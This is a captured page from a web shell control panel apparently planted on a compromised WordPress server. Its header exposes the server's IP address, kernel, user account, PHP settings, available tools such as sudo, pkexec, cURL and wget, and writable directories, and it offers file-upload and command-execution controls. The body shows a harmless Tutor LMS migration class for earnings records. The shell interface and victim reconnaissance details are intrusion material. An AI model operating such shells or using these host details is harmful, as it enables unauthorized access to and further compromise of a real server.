403Webshell
Server IP : 158.247.231.215  /  Your IP : 216.73.217.84
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux CTMS 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /mnt/blockstorage/ctms/wp-content/plugins/tutor/migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/blockstorage/ctms/wp-content/plugins/tutor/migrations/ProcessByWcMigrator.php
<?php
/**
 * Since Tutor 3.0.0 all wc earnings store in tutor_earnings table with 'Tutor' in process_by column.
 * This migration will update all wc earnings process_by column to 'woocommerce'.
 *
 * @package Tutor
 * @author Themeum <support@themeum.com>
 * @link https://themeum.com
 * @since 3.8.2
 */

namespace Tutor\Migrations;

use TUTOR\Earnings;
use Tutor\Helpers\QueryHelper;
use Tutor\Migrations\Contracts\BulkProcessor;

/**
 * Class ProcessByWcMigrator
 *
 * @since 3.8.2
 */
class ProcessByWcMigrator extends BatchProcessor implements BulkProcessor {
	/**
	 * Name of the migration
	 *
	 * @since 3.8.2
	 *
	 * @var string
	 */
	protected $name = 'Process By WC Migration';

	/**
	 * Action
	 *
	 * @since 3.8.2
	 *
	 * @var string
	 */
	protected $action = 'process_by_wc_migrator';

	/**
	 * Batch size
	 *
	 * @since 3.8.2
	 *
	 * @var integer
	 */
	protected $batch_size = 1000;

	/**
	 * Schedule interval.
	 *
	 * @since 3.8.2
	 *
	 * @var integer
	 */
	protected $schedule_interval = 10;

	/**
	 * Get the total count of the data to be processed
	 *
	 * @since 3.8.2
	 *
	 * @return int
	 */
	protected function get_total_items() : int {
		$primary_table  = 'tutor_earnings te';
		$joining_tables = array(
			array(
				'table' => 'wc_orders_meta wcom',
				'on'    => 'te.order_id = wcom.order_id',
				'type'  => 'INNER',
			),
		);

		$where = array(
			'te.process_by' => Earnings::PROCESS_BY_TUTOR,
			'wcom.meta_key' => '_is_tutor_order_for_course',
		);

		$total_items = QueryHelper::get_joined_count(
			$primary_table,
			$joining_tables,
			$where,
			array(),
			'te.earning_id'
		);

		return $total_items;
	}

	/**
	 * Get items to batch process.
	 *
	 * @since 3.8.2
	 *
	 * @param int $offset offset.
	 * @param int $limit limit.
	 *
	 * @return array
	 */
	protected function get_items( $offset, $limit ) : array {
		$primary_table  = 'tutor_earnings te';
		$joining_tables = array(
			array(
				'table' => 'wc_orders_meta wcom',
				'on'    => 'te.order_id = wcom.order_id',
				'type'  => 'INNER',
			),
		);

		$where = array(
			'te.process_by' => Earnings::PROCESS_BY_TUTOR,
			'wcom.meta_key' => '_is_tutor_order_for_course',
		);

		$response = QueryHelper::get_joined_data(
			$primary_table,
			$joining_tables,
			array( 'te.*' ),
			$where,
			array(),
			'te.earning_id',
			$limit,
			$offset,
			'DESC'
		);

		$items = $response['total_count'] > 0 ? $response['results'] : array();

		return $items;
	}

	/**
	 * Process a batch of items
	 *
	 * @since 3.8.2
	 *
	 * @param array $items items.
	 *
	 * @return void
	 */
	public function process_items( $items ) : void {
		$ids   = wp_list_pluck( $items, 'earning_id' );
		$data  = array( 'process_by' => Earnings::PROCESS_BY_WOOCOMMERCE );
		$where = array( 'earning_id' => $ids );
		QueryHelper::update( 'tutor_earnings', $data, $where );
	}

	/**
	 * On migration complete event.
	 *
	 * @since 3.8.2
	 *
	 * @return void
	 */
	protected function on_complete() {
		error_log( 'Process by WC migration completed!' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit